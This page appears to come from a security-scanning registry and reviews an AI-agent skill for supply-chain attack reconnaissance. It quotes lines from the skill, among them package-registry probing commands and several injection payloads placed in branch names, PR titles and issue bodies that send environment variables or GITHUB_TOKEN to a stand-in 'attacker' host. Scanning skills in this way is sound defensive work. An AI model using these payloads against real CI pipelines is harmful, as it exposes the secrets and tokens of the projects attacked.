← All skills
supply-chain-attack-recon
69 / 100 · Review before installing
Check before installing.
By iradoweck/antigravity-awesome-skills (GitHub) · other · 30 stars · scanned at commit 2984de1
External recon for software supply-chain attack surface
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README.
Found in 17 places.
Show 14 more
- skills/supply-chain-attack-recon/SKILL.md, line 123
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do - skills/supply-chain-attack-recon/SKILL.md, line 133
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do - skills/supply-chain-attack-recon/SKILL.md, line 145
NAME="@target-internal/utils" # example - skills/supply-chain-attack-recon/SKILL.md, line 189
python3 -c " - skills/supply-chain-attack-recon/SKILL.md, line 214
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do - skills/supply-chain-attack-recon/SKILL.md, line 260
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"' - skills/supply-chain-attack-recon/SKILL.md, line 278
gh api repos/OWNER/REPO/actions/runs --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}' - skills/supply-chain-attack-recon/SKILL.md, line 295
cargo install zizmor - skills/supply-chain-attack-recon/SKILL.md, line 312
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name' - skills/supply-chain-attack-recon/SKILL.md, line 341
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url' - skills/supply-chain-attack-recon/SKILL.md, line 357
grep -r "registry=" . # in cloned repos - skills/supply-chain-attack-recon/SKILL.md, line 378
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name' - skills/supply-chain-attack-recon/SKILL.md, line 398
curl -s https://target.com | grep -i polyfill - skills/supply-chain-attack-recon/SKILL.md, line 450
cat scope.txt # target list from the authorized engagement brief
Sends data to these websites: github.com, target.com, registry.npmjs.org, pypi.org, rubygems.org, proxy.golang.org, attacker, hub.docker.com, api.osv.dev
This is disclosed by the author in the skill's SKILL.md or README.
Found in 22 places.
Show 17 more
- skills/supply-chain-attack-recon/SKILL.md, line 113
status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}') - skills/supply-chain-attack-recon/SKILL.md, line 148
curl -sI "https://registry.npmjs.org/$NAME" | head -1 - skills/supply-chain-attack-recon/SKILL.md, line 153
curl -sI "https://pypi.org/project/$NAME/" | head -1 - skills/supply-chain-attack-recon/SKILL.md, line 157
curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1 - skills/supply-chain-attack-recon/SKILL.md, line 161
curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1 - skills/supply-chain-attack-recon/SKILL.md, line 200
status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}') - skills/supply-chain-attack-recon/SKILL.md, line 260
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"' - skills/supply-chain-attack-recon/SKILL.md, line 261
git push origin 'feat/x"; curl https://attacker/?d=$(env | base64);"' - skills/supply-chain-attack-recon/SKILL.md, line 264
PR_TITLE='x"; curl https://attacker/?d=$(echo $GITHUB_TOKEN | base64);"' - skills/supply-chain-attack-recon/SKILL.md, line 267
ISSUE_BODY='x"; curl https://attacker/?leak=$(git config user.name);"' - skills/supply-chain-attack-recon/SKILL.md, line 312
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name' - skills/supply-chain-attack-recon/SKILL.md, line 320
curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name' - skills/supply-chain-attack-recon/SKILL.md, line 348
curl -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}' - skills/supply-chain-attack-recon/SKILL.md, line 378
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name' - skills/supply-chain-attack-recon/SKILL.md, line 381
curl -s "https://pypi.org/simple/" | grep "$ORG" | head -20 - skills/supply-chain-attack-recon/SKILL.md, line 385
curl -sI "https://registry.npmjs.org/-/org/$ORG" - skills/supply-chain-attack-recon/SKILL.md, line 398
curl -s https://target.com | grep -i polyfill
and 2 more places
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 2 places.
Downloads and installs other software
The author does not mention this.
Found in 5 places.
Show 2 more
Safer alternatives
Low-risk skills in the same category (other) that look related. Check that one does what you need.
Other copies in this repository
iradoweck/antigravity-awesome-skills has 2 more folders with a skill named supply-chain-attack-recon. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'supply-chain-attack-recon' ] || [ -L ~/.agents/skills/'supply-chain-attack-recon' ]; then echo 'A skill folder named supply-chain-attack-recon already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/iradoweck/antigravity-awesome-skills' "$d" && git -C "$d" checkout --quiet '2984de11956e413008c6f98121cd141c499e47a3' -- 'skills/supply-chain-attack-recon' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/supply-chain-attack-recon' ~/.agents/skills/'supply-chain-attack-recon' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'supply-chain-attack-recon' ~/.claude/skills/'supply-chain-attack-recon' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for iradoweck/antigravity-awesome-skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/iradoweck/antigravity-awesome-skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 2984de1 | 69 |
| 2026-11-06 | 2984de1 | 69 |